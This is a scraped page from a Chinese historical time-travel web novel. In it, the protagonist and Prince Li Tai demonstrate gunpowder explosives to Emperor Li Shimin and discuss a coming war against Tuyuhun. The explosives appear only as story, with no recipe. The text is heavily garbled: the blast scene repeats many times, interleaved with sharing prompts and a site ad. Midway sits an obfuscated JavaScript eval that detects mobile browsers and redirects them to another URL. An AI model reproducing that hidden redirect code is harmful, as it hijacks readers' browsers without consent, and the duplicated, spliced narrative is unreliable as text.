却不曾想,被陈衍和李泰带到了一处高地前,远处可以看到一座荒山。 “子安啊,看来,你今天弄出来的东西不一般啊。”李世民饶有兴趣地打量着周围的环境,想看看有什么东西是比较奇特的。 然而他并未发现什么特殊的东西。 “哪里哪里,今天的东西可不是我一个人的功劳,其中魏王殿下帮了大忙,跟您还有点关系呢。”陈衍谦虚地摆手。 李世民一听,有些疑惑。 什么东西跟自己还有些关系? 他怎么不清楚? “哎!”牛进达一双大手按在他肩膀上,“我说你小子,把咱们这么多人带到这荒无人烟的地方,你那爱神神秘秘的小癖好算是满足了吧?” “现在该说叫我们过来的目的是什么了吧?” 自从武器装备制作好,陈衍连夜把东西给无旌骑送了过去,这两天他还在加急操练士兵呢。 “牛将军不要着急!”李泰胖嘟嘟的脸上挂着止不住的笑意,劝道:“有一句话说得好,叫做心急吃不了热豆腐。” “我跟陈兄为了给你们准备这一大杀器,可是日以继夜操劳了许久,你们待会便能看见了,不要着急。” 牛进达眉头一挑,给他们准备的大杀器? 苏定方此时插 话说:“是渭国公上次说给我们准备的保命东西?” “对!”陈衍肯定道。 “当然,这不光是给你们用来保命的,也是用来给大唐今后的战争做准备的。” 李世民瞥了眼陈衍,对他猜到要起战争丝毫没有意外,心里的期待反倒愈发多了几分。 玄夜铠、陌刀、以及马蹄铁这样的惊喜就险些砸懵他,今天弄这么大阵仗,莫非还有更好的东西? “子安,既然人到齐了,那快开始吧。” 陈衍与魏王相视一笑,后者当场从腰间掏出一个喇叭状的东西,放在嘴边大喊:“所有人准备好!我倒数三个数,然后大家同时点火撤离!” 他喊得很大声,在那个喇叭状的物品下声音更是传得很远。 在他说完后,远处先后响起几道回应声。 李世民等人面露疑惑,却也没去询问什么,而是耐心等待起来。 “很好!三!” 魏王大喊,脸上已经隐隐看得出来他开始激动了。 “二!” “一!” “点火!!!” 在最后一句点火落下,陈衍适时对李世民解释道:“下面那些负责点火的,都是上次陛下派给我的人,我从中挑选了几个,都是值得信任的。” 李世民疑惑地望着他,有点搞不懂他说这个是什么意思。 而且怎么好像什么都没发生啊? “陈小子,你叫我们过来看的东西呢?”牛进达不解,四处打量了一下,没什么动静啊,更没出现什么特殊的东西。 “呵呵!”陈衍负手说:“不知各位,你们还记得我此前请你们过来时,说要请你们看什么吗?” 一旁的李承乾摸着下巴说:“好像说要请我们看看什么叫做艺术!” 大家听到这话纷纷点头,反正陈衍派去传信的人是这么说的。 “对!” 陈衍心里默默数着数,眼看时间差不多了,上前两步,面对众人,豁然展开手: “就是请大家看看什么叫做.” 他微微抬首“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然炸开!霎时间地动山摇!众人脚下传来清晰的震动远处那座荒山的一角在滚滚烟尘中猛地向上隆起随即无数巨石裹挟着泥土如同瀑布般倾泻而下! 然而这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响一声接着一声一遍又一遍地疯狂炸响!它们在不同的位置接连爆发在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡最终汇聚成一片毁灭性的交响疯狂冲击着每个人的耳膜与心神! 脚下的土地传来持续不断的震颤让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达此刻也张大了嘴巴望着那仿佛正在被无形巨力撕裂、崩解的山体一句话也说不出来。 李承乾更是脸色发白下意识地后退了半步眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇但空气中依然弥漫着浓烈的硝烟气味以及死一般的寂静。 “陛下!” 李君羡嘶吼强忍着心中的恐惧拔刀立于李世民之前。 “陛下怎么样?” “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山下意识点点头:“行行啊。” “不对!” 他猛地回过神快步上前死死抓着陈衍的手臂带着狂热:“子安刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下冷静点不着急 李世民也意识到自己有些失态强行按捺住情绪松开了陈衍。 “还是我来说吧父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的名为**的东西。” “威力巨大足以开山裂石若投入战场使用攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊陈兄就是从父皇给予的那仙丹药方中得到了灵感才做出了**!” “父皇此乃大喜啊!” 李世民:“.” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “就是请大家看看,什么叫做. 他微微抬首,“艺术! “轰——!!! 一声如同九天惊雷般的巨响猛然炸开!霎时间,地动山摇!众人脚下传来清晰的震动,远处那座荒山的一角在滚滚烟尘中猛地向上隆起,随即无数巨石裹挟着泥土,如同瀑布般倾泻而下! 然而,这仅仅是开始! “轰——!!! “轰轰轰——!!! 与此前如出一辙的恐怖巨响,一声接着一声,一遍又一遍地疯狂炸响!它们在不同的位置接连爆发,在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡,最终汇聚成一片毁灭性的交响,疯狂冲击着每个人的耳膜与心神! 脚下的土地传来持续不断的震颤,让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛,脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达,此刻也张大了嘴巴,望着那仿佛正在被无形巨力撕裂、崩解的山体,一句话也说不出来。 李承乾更是脸色发白,下意识地后退了半步,眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇,但空气中依然弥漫着浓烈的硝烟气味,以及死一般的寂静。 “陛下! 李君羡嘶吼,强忍着心中的恐惧,拔刀立于李世民之前。 “陛下,怎么样? “还行吧? 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山,下意识点点头:“行行啊。 “不对! 他猛地回过神,快步上前,死死抓着陈衍的手臂,带着狂热:“子安,刚刚那到底是什么东西?竟有如此巨大的威力? “那是你们做出来的吗? “陛下,冷静点,不着急,不着急哈。陈衍被抓得有点疼,连忙劝道。 李世民也意识到自己有些失态,强行按捺住情绪,松开了陈衍。 “还是我来说吧,父皇。 “威力巨大,足以开山裂石,若投入战场使用,攻城拔寨无往不利! 他越说越激动:“这还多亏了父皇啊,陈兄就是从父皇给予的那仙丹药方中得到了灵感,才做出了**! “父皇,此乃大喜啊! 李世民:“. “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “就是请大家看看什么叫做.” 他微微抬首“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然炸开!霎时间地动山摇!众人脚下传来清晰的震动远处那座荒山的一角在滚滚烟尘中猛地向上隆起 小说的域名caixs?(请来才 小说 看最新章节 完整章节)随即无数巨石裹挟着泥土如同瀑布般倾泻而下! 然而这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响一声接着一声一遍又一遍地疯狂炸响!它们在不同的位置接连爆发在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡最终汇聚成一片毁灭性的交响疯狂冲击着每个人的耳膜与心神! 脚下的土地传来持续不断的震颤让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达此刻也张大了嘴巴望着那仿佛正在被无形巨力撕裂、崩解的山体一句话也说不出来。 李承乾更是脸色发白下意识地后退了半步眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇但空气中依然弥漫着浓烈的硝烟气味以及死一般的寂静。 “陛下!” 李君羡嘶吼强忍着心中的恐惧拔刀立于李世民之前。 “陛下怎么样?” “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山下意识点点头:“行行啊。” “不对!” 他猛地回过神快步上前死死抓着陈衍的手臂带着狂热:“子安刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下冷静点不着急不着急哈。”陈衍被抓得有点疼连忙劝道。 李世民也意识到自己有些失态强行按捺住情绪松开了陈衍。 “还是我来说吧父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的名为**的东西。” “威力巨大足以开山裂石若投入战场使用攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊陈兄就是从父皇给予的那仙丹药方中得到了灵感才做出了**!” “父皇此乃大喜啊!” 李世民:“.” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “就是请大家看看,什么叫做.” 他微微抬首,“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然炸开!霎时间,地动山摇!众人脚下传来清晰的震动,远处那座荒山的一角在滚滚烟尘中猛地向上隆起,随即无数巨石裹挟着泥土,如同瀑布般倾泻而下! 然而,这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响,一声接着一声,一遍又一遍地疯狂炸响!它们在不同的位置接连爆发,在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡,最终汇聚成一片毁灭性的交响,疯狂冲击着每个人的耳膜与心神! 脚下的土地传来持续不断的震颤,让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛,脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达,此刻也张大了嘴巴,望着那仿佛正在被无形巨力撕裂、崩解的山体,一句话也说不出来。 李承乾更是脸色发白,下意识地后退了半步,眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇,但空气中依然弥漫着浓烈的硝烟气味,以及死一般的寂静。 “陛下!” 李君羡嘶吼,强忍着心中的恐惧,拔刀立于李世民之前。 “陛下,怎么样?” “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山,下意识点点头:“行行啊。” “不对!” 他猛地回过神,快步上前,死死抓着陈衍的手臂,带着狂热:“子安,刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下,冷静点,不着急,不着急哈。”陈衍被抓得有点疼,连忙劝道。 李世民也意识到自己有些失态,强行按捺住情绪,松开了陈衍。 “还是我来说吧,父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的,名为**的东西。” “威力巨大,足以开山裂石,若投入战场使用,攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊,陈兄就是从父皇给予的那仙丹药方中得到了灵感,才做出了**!” “父皇,此乃大喜啊!” 李世民:“.” “.” 你的朋友正在书荒,快去帮帮他吧 “就是请大家看看什么叫做.” 他微微抬首“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723051|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸开!霎时间地动山摇!众人脚下传来清晰的震动远处那座荒山的一角在滚滚烟尘中猛地向上隆起随即无数巨石裹挟着泥土如同瀑布般倾泻而下! 然而这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响一声接着一声一遍又一遍地疯狂炸响!它们在不同的位置接连爆发在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡 脚下的土地传来持续不断的震颤让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达此刻也张大了嘴巴望着那仿佛正在被无形巨力撕裂、崩解的山体一句话也说不出来。 李承乾更是脸色发白下意识地后退了半步眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇但空气中依然弥漫着浓烈的硝烟气味以及死一般的寂静。 “陛下!” 李君羡嘶吼强忍着心中的恐惧拔刀立于李世民之前。 “陛下怎么样?” “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山下意识点点头:“行行啊。” “不对!” 他猛地回过神快步上前死死抓着陈衍的手臂带着狂热:“子安刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下冷静点不着急不着急哈。”陈衍被抓得有点疼连忙劝道。 李世民也意识到自己有些失态强行按捺住情绪松开了陈衍。 “还是我来说吧父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的名为**的东西。” “威力巨大足以开山裂石若投入战场使用攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊陈兄就是从父皇给予的那仙丹药方中得到了灵感才做出了**!” “父皇此乃大喜啊!” 李世民:“.” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “就是请大家看看什么叫做.” 他微微抬首“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然炸开!霎时间地动山摇!众人脚下传来清晰的震动远处那座荒山的一角在滚滚烟尘中猛地向上隆起随即无数巨石裹挟着泥土如同瀑布般倾泻而下! 然而这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响一声接着一声一遍又一遍地疯狂炸响!它们在不同的位置接连爆发在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡 脚下的土地传来持续不断的震颤让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达此刻也张大了嘴巴望着那仿佛正在被无形巨力撕裂、崩解的山体一句话也说不出来。 李承乾更是脸色发白下意识地后退了半步眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇但空气中依然弥漫着浓烈的硝烟气味以及死一般的寂静。 “陛下!” 李君羡嘶吼强忍着心中的恐惧拔刀立于李世民之前。 “陛下怎么样?” “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山下意识点点头:“行行啊。” “不对!” 他猛地回过神快步上前死死抓着陈衍的手臂带着狂热:“子安刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下冷静点不着急不着急哈。”陈衍被抓得有点疼连忙劝道。 李世民也意识到自己有些失态强行按捺住情绪松开了陈衍。 “还是我来说吧父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的名为**的东西。” “威力巨大足以开山裂石若投入战场使用攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊陈兄就是从父皇给予的那仙丹药方中得到了灵感才做出了**!” “父皇此乃大喜啊!” 李世民:“.” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “就是请大家看看什么叫做.” 他微微抬首“艺术!” “轰——!!!” 一声如同九天惊雷般的巨响猛然炸开!霎时间地动山摇!众人脚下传来清晰的震动远处那座荒山的一角在滚滚烟尘中猛地向上隆起随即无数巨石裹挟着泥土如同瀑布般倾泻而下! 然而这仅仅是开始! “轰——!!!” “轰轰轰——!!!” 与此前如出一辙的恐怖巨响一声接着一声一遍又一遍地疯狂炸响!它们在不同的位置接连爆发在空旷的平原上、在被冲击肆虐的山谷、在辽阔的天空不断回荡最终汇聚成一片毁灭性的交响疯狂冲击着每个人的耳膜与心神! 脚下的土地传来持续不断的震颤让李世民等人几乎站立不稳。 他们一个个瞪大了眼睛脸上写满了前所未有的惊骇与难以置信。 即便是经历过无数战阵、见惯了尸山血海的牛进达此刻也张大了嘴巴望着那仿佛正在被无形巨力撕裂、崩解的山体一句话也说不出来。 李承乾更是脸色发白下意识地后退了半步眼前的景象已经完全超出了他的理解范围。 这.这真的是人力所能及的吗? **声终于渐渐停歇但空气中依然弥漫着浓烈的硝烟气味以及死一般的寂静。 “陛下!” 李君羡嘶吼强忍着心中的恐惧拔刀立于李世民之前。 “陛下 “还行吧?” 陈衍咧嘴笑着。 李世民呆呆地望着远处面目全非的荒山下意识点点头:“行行啊。” “不对!” 他猛地回过神快步上前死死抓着陈衍的手臂带着狂热:“子安刚刚那到底是什么东西?竟有如此巨大的威力?” “那是你们做出来的吗?” “陛下冷静点不着急不着急哈。”陈衍被抓得有点疼连忙劝道。 李世民也意识到自己有些失态强行按捺住情绪松开了陈衍。 “还是我来说吧父皇。”李泰得意洋洋地站出来:“这是我跟陈兄钻研出来的名为**的东西。” “威力巨大足以开山裂石若投入战场使用攻城拔寨无往不利!” 他越说越激动:“这还多亏了父皇啊陈兄就是从父皇给予的那仙丹药方中得到了灵感才做出了**!” “父皇此乃大喜啊!” 李世民:“.” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第437章 牛进达:好大侄儿啊! 在李泰愈发兴奋地给李世民讲解炸药的由来,以及制作、威力的时候。 丝毫没有察觉到李世民慢慢变黑的脸庞,以及刚刚还在他身边,现在已经在慢慢后退的陈衍。 原本还在震撼的牛进达等人,也察觉了那逐渐凝固的气氛,跟着陈衍往后退去。 “青雀啊,你说完了吗?” 李世民核善一笑。 “啊?”李泰一怔,这才察觉到陈衍他们不知不觉已经退出了老远,而面前的父皇...... 好像有点不对。 他仔细回想一遍自己说的话,顿时明白了不对之处在何处。 李泰瞬间慌了:“父皇,儿......儿臣不是有意的,儿臣没有那个意思啊,只是单纯地想告诉您炸药的一切由来。” 炸药!炸药! 本来李世民应该是高兴的,毕竟炸药的威力刚刚他已经看到了,可以说李泰他们丝毫没有夸大。 这玩意若是投入战场使用,取得的效果简直不可想象。 但......为什么要叫炸药呢? 是因为从他给的仙......毒丹药方中发现,加上一个炸字,所以叫炸药吗? 李世民想起自己被毒丹折磨得死去活来,不知为何一点也高兴不起来。 当然,他还是讲道理的,知晓李泰确实没有戳他痛处的意思。 李世民黑着脸,“陈子安,回来!” “哎,来啦!” 陈衍憋着笑,屁颠屁颠地跑过来:“陛下有何吩咐?” 他一看陈衍这样就来气:“你能不能有点国公的样子?你看看你,长不大的孩子一样。” “还小啊?” “是是是,陛下说得是。”陈衍忙点头,一脸无辜。 李世民额头浮现出几条黑线,迟疑了片刻,挥袖:“算了,朕不和你俩一般见识。” 此刻,他也冷静了下来,提起了正事。 “你们说的炸药是从毒丹药方中得到的灵感,具体怎么回事?” 陈衍闻言给李世民好好解释了一下药方中的材料,以及炸丹的原理。 李世民听后一阵无语。 照这么说......那群方士还有功咯? 想到这里,李世民忙摇头。 不! 不对! 有功的是陈衍和青雀才对,跟那群方士有个屁关系。 随后,他缓了 缓,长吐一口气,不知道说什么好了。 “这......算不算因祸得福?” 李世民想给自己挽回一点面子。 陈衍憋着难受,实在没法开口,只能一个劲地点头。 幸亏牛进达这些人不太了解其中的具体内情,见气氛缓和下来,一群人赶忙凑过来。 “大侄儿,俺的好大侄儿!”牛进达热切地揽着他:“你从小俺对你就不错吧?” 陈衍沉默两息:“如果不算你从我这里顺走的东西,应该蛮不错的。” 牛进达暗恨,急忙说:“回头,回头俺就把酒钱全给你送过去,保证不让我好大侄儿吃了亏!” “那多谢牛叔了。”陈衍皮笑肉不笑。 “咳咳......”牛进达干咳,“既然如此,那,那什么,炸药是不是?” 陈衍无奈:“放心吧,已经在加急制作了,原材料都好收集,不算难。” “等你们出征的时候,我会交给你们的。” “那太好了。”牛进达等人狂喜。 有了这炸药在手,天下哪里去不得? 说着,陈衍又转头对李世民说:“陛下,我用的都是上次你秘密派来制作玄夜铠,以及陌刀的人。” “为了给无旌骑制作炸药,我可能还得借用一段时间。” 听到这话,李世民眼里闪过一丝无奈,同时又很欣慰:“你安排便好,朕相信你。” 一直插不上话的李承乾突然说:“子安兄,一直听你们说这炸药,它的威力我们也见识过了,能否拿一个出来看看?” 此言一出,除了陈衍与魏王之外,其余人皆面露好奇。 显然,对于炸药,他们都想看看成品。 “当然没问题。”陈衍挥了挥手,背后的小顺子连忙退走。 不一会,他手捧着一个炸药包回来。 “这就是炸药吗?” 众人连忙围了过去。 李世民上手戳了戳,惊疑道:“这么一个小小的东西,能有这么大威力?” 陈衍道:“陛下,方才荒山爆炸的不止一个炸药,所以才能造成那么大威力,一份炸药的威力自然是没那么大的,不过也不能小觑就是了。” “大家如果好奇的话,可以试试。” “怎么试?”牛进达迫不及待地问。 陈衍上前,拉了拉炸药的引线,“看到这根引线了吗?只要将它点燃,然后丢出去,炸药 便会爆炸。” “用法相当简单,但丢得一定要快,否则会伤到自己。” 说到这里,陈衍想起自己和李泰头一次引爆时差点见了太奶,眼里闪过一丝后怕。 恰巧,李世民正好注意到了:“子安,你该不会钻研这个时候,伤到过自己吧?” 话落,陈衍和李泰同时面露尴尬。 “父皇,最初做出来的炸药引线太短,而且燃烧太快,导致我跟陈兄没来得及跑远,所以被波及到了一点。” “那叫一点吗?”陈衍幽幽道:“我差点去见了列祖列宗。” 李世民:“......” 牛进达:“......” “你......你们俩!”李世民指着两人,气得说不出话。 “算了算了,没事就行,以后有关这种危险的事让别人去干!” 两人哪敢说什么?只能答应呗。 “既然这么危险,那让我来吧!”苏定方上前,从小顺子手中拿走炸药。 魏王提醒道:“炸药我们已经优化过了,现在的引线燃烧并不快,你稍微离远一点,点燃之后赶紧丢出去就行,没事的。” “好!”苏定方凝神点头,小顺子又递给他一个火折子。 他带着炸药走远了一些,选定一个投掷的位置,吹燃火折子点燃引线,然后用尽全身力气扔出去。 炸药包被扔进下面一处稍微凹陷的坑里,然后轰然炸响。 那如天雷般的声音又一次响起,空气中弥漫着刺鼻的火药味。 再看凹陷的坑已经被炸得泥土翻涌,周围一片狼藉。 “啧啧,厉害啊。”李世民这次亲眼看到炸药爆炸,对那群方士毒害自己的恨意都少了几分。 也让他更加坚定了之前的决定! “......” 第438章 冷兵器时代落幕? 展示完炸药,大家又聊了许多。 牛进达谈及了无旌骑到底什么时候出征,毕竟此事已经拖了太久了。 陈衍计算了一下目前制作炸药的效率,给出了一个答案:“六月初吧,我这段时间让人加急制作炸药,争取多给你们备一些,以此来保证行动顺利。” “当然了,我必须要提醒你,炸药相当怕水,因为咱们之前定下的是水路,所以你们必须小心保管,一旦受潮,炸药很有可能失效。” “我同时会在船只上打造一个干燥的储存间,用于给你们保管炸药。炸药上我也会帮你们制造一层防护,以保证万无一失。” “六月吗?”牛进达低语,随即挺直背,重重点头。 “好!” 决定好之后,牛进达跟苏定方他们便离开了,准备在这段时间给放假回来的无旌骑加练。 此刻,场上便只剩下了李世民、陈衍、魏王以及李君羡和小顺子。 “走吧,你们俩,陪朕坐坐。” 李世民用下巴点了点不远处的马车,然后迈步走了过去。 陈衍和魏王见状跟上。 三人坐进马车内,李君羡和小顺子在外面赶马车。 “子安,你认为,明年朕对吐谷浑用兵合适吗?”李世民抬手即是王炸,让两人瞬间懵了一瞬。 反应过来后,陈衍细细思量片刻,“有些着急了,其实再等一年,也就是贞观七年的时候会更合适,但边境始终受到骚扰,早一年解决隐患同样是好事。” “所以,你认为这两个选择都不错?”李世民再问。 “对!”陈衍直白说:“从理性上分析,到贞观七年、甚至八年再对吐谷浑动兵是最好的。” “因为咱们目前虽然不缺钱粮,可再多的钱粮也换不回将士们的命,倘若能缓几年,以我优化的锻铁技术,我们完全可以打造出更好的武器,给将士们配备札甲乃至甲胄。” “届时,咱们大唐将士的战斗力必将被抬上几个层次,更容易攻破吐谷浑,少许多牺牲。” 李世民手指点着大腿,“继续说。” 陈衍道:“如果在明年,即贞观六年动兵,我们即使有更好的锻铁技术,也因时间紧迫从而无法将好的武器、甲胄配备给大多士兵,至于陌刀以及玄夜铠更是只能满足一小部分精锐中的精锐。” “如此去攻打,赢肯定是能赢,但绝对没有过两年再攻打赢的那么漂亮,好处是能早日解决边境隐患,让那 边的百姓不受骚扰。” “两个选择有两个选择的好处,优缺点同时存在。” 李世民默默盯了他一会儿,“说了这么多,你还是没说你是怎么想的,是贞观六年动兵,又或者贞观七年动兵。” “呃......”陈衍有点为难。 他知晓自己在李世民心里的地位,所以很多话不太好说,因为他的话会对李世民的决策产生相当大的影响。 思虑再三,陈衍回答说:“我个人倾向于明年就打,毕竟目前的大唐已然不同以往,再加上炸药的存在,我们大不了就砸钱嘛。” “到明年还有时间,只要舍得砸钱,不谈武器装备、咱们将士们人手十个炸药包,也能把吐谷浑炸飞!” “最主要的是,时间不等人,早解决一个外敌,剩下的时间便能用来解决其他隐患与敌人。” “说不定,陛下能将我大唐的版图持续扩大。” 李世民闻言眼里浮现出一抹笑意:“朕与克明,以及程老黑他们便是这么想的。” “当前,朕有钱有粮,而且得益于你的帮助,朕每日都有一笔堪称惊人的钱财入账,以及一座银山等待朕去开采。” “朕为何一定要多等两年?” “朕砸钱还不行吗?” 陈衍拱手道:“陛下英明。” “得!”李世民摆手,“你小子以后别拍朕马屁,朕总感觉,你小子说陛下英明怪怪的。” 李泰小声哔哔:“陈兄,父皇平日虽然有点抠门,可在正事上,没人比父皇更舍得花钱,否则之前也不会穷成那样。” 李世民:“......” 你到底是夸我还是损我呢? 陈衍哑然:“这个我当然知晓,去年洪水的时候,陛下确实没省过一文钱,若是此时舍得砸钱,明年定然能砸出一支王者之师。” 舒服了。 李世民欣慰道:“这正是朕所想的,原本朕还是有些迟疑的,然而自从今天见到你这炸药,朕便知道,明年大唐的铁骑必将踏平吐谷浑!!” 陈衍:“那等无旌骑出征之后,陛下就将那些制作炸药的人带回去吧,不过此事一定要保密。” “炸药事关重大,绝不可流落民间。” “更重要的是,我认为,炸药的出现,昭示着冷兵器时代的落幕,火药才是今后主要的对敌武器。” “哦?”李世民紧锁眉头,“你的意思是,火药的出现,会全面改变今后 战场上刀兵相向的格局?” “是的。”陈衍毫不犹豫道:“现在的火药,如同一个刚出生,稚嫩的婴儿,未来可期,但无论是铠甲、刀剑、亦或者弓箭,其实已经进入了暮年,如同垂垂老叟,哪怕再怎么优化,局限同样摆在那里。” “你们别看火药目前只能制作炸药,然而若是打开思维,它完全能不拘泥于此。” “好比,我们的祖先从最初的石器时代,走到铁器时代,而如今,冷兵器也可能即将退下历史舞台,接下来登场的是以火药为基础的热武器时代!” 一席话落下,李世民父子俩一时间沉默不语。 原以为炸药已经很厉害了,没想到陈衍却说炸药只是一个开始。 冷兵器时代......真的要结束了吗? 许久之后,李世民试探性地问:“你这么断言冷兵器即将落幕,莫非,你除了炸药,还用火药制作出了其他武器?” 陈衍有些诧异,没想到李世民竟然能猜到一点。 他摇摇头:“暂时没有研究出其他武器。” 父子俩闻言有些失望。 然而,陈衍却再次说:“但我已经有想法了,而且不止一个!” “......” 第439章 请柬 送走了李世民,陈衍本以为此事到此为止了。 接下来钻研东西的事情可以全部交给李泰这个专业人士,自己只负责教给他知识。 却没想到,李世民回去之后,隔天长孙皇后便跑了过来,揪着陈衍和李泰的耳朵好好教训了他们一顿。 原来是长孙皇后从李世民口中得知,陈衍和李泰把自己炸伤的事,气得不行,训斥了他们许久。 在让他们好好保证今后一定会小心之后才放心离去。 “阿兄,你又被我阿娘训了呀?” 等长孙皇后一离开,小兕子便跳出来说。 陈衍没好气地弹了她小脑袋一下,“说什么屁话呢?整得好像我经常被你阿娘训斥一样。明明是你皇兄经常被训好吧?” 兕子笑嘻嘻:“皇兄皮糙肉厚啊,别说训斥了,就算打他,他也不疼。” “你看,皇兄压根不在乎阿娘训斥他,已经又跑去科研院啦。” 她指了指李泰离开的背影,回头说:“不过阿姐说,阿兄脸皮厚,应该也不在乎。” 陈衍大怒:“你哪个阿姐说的?我去打她屁股,居然敢在背后诋毁我!” “丽质阿姐说的,你去吧!”兕子立即接上话,“不光打她屁股,还得打她嘴,让她肿起来!” “......” 一句话,瞬间给陈衍干沉默了。 他认真打量一眼面前到他大腿高的小丫头,蹲下身子,语重心长:“兕子啊,我感觉你十分地不对劲,你要成精了!” “根本不像这个年纪的小孩子,肯定不是人,是小妖怪,等长大了就是大妖怪!” “我要开坛做法,收了你!” 兕子眨巴一下大眼睛,明显愣了一下。 “阿兄,你还会这活儿呢?” “你不是医者吗?” “行走江湖嘛,不多学点本事怎么行?”陈衍伸手抓住她头上的小揪揪,一本正经道:“你现在赶紧认错,并保证以后不偷看我和你阿姐,我可以考虑一下放过你!” “否则......哼哼。” “我才不怕咧。”兕子插着小腰:“我有阿娘,还会葵花点穴手,你敢收了我,我就告诉阿娘说你欺负我。然后让阿娘把你抓起来,用葵花点穴手点你的穴,再让高阳阿姐挠你痒痒!” 陈衍被逗笑了,“所以你承认你是小妖怪咯?” “呀?”兕子一惊,忙摇脑袋:“才不是才不是,我 才不是小妖怪,我是人!” “阿兄,你休想套路我!” 陈衍:“你还好意思说你是人?你看看比你大好几岁的城阳、李欣,他们可没你这么多小心思。” “还想让我去打你丽质阿姐的屁股,我看你就是想早点抱上小侄子!” “那有什么不对?”兕子理直气壮,“我已经有了小侄女,想要个小侄子有啥不对嘛?” “姐姐不争气,我这个当妹妹的自然要多操些心,幼妹如母啊!” 陈衍:? 他满头问号,一脸难以置信。 幼妹如母是什么鬼? 他正想看看,忽然瞧见兕子背后的来人,不说话了。 兕子觉得奇怪,想开口问问,耳朵一疼。 “呀!疼!” 小家伙惨叫,李丽质却不惯着她,揪着她的耳朵冷着脸说:“来,我就在这里,你跟我好好说道说道,幼妹如母是什么意思?” 兕子小手抓着丽质的手,欲哭无泪。 怎么又被听到了呢? 最近咋就这么倒霉! 这次陈衍可不打算救她了,笑眯眯地待在旁边看热闹。 却不想,李丽质接下来一句话直接给他整懵逼了。 “以后少跟你阿兄接触知道不?你看你现在,衍里衍气的,哪里像个三四岁的孩子?” 陈衍:“......” 不是,这咋还能扯到我身上来? 不等他说话,兕子就苦着脸,被李丽质揪着耳朵带走了。 陈衍满脸生无可恋。 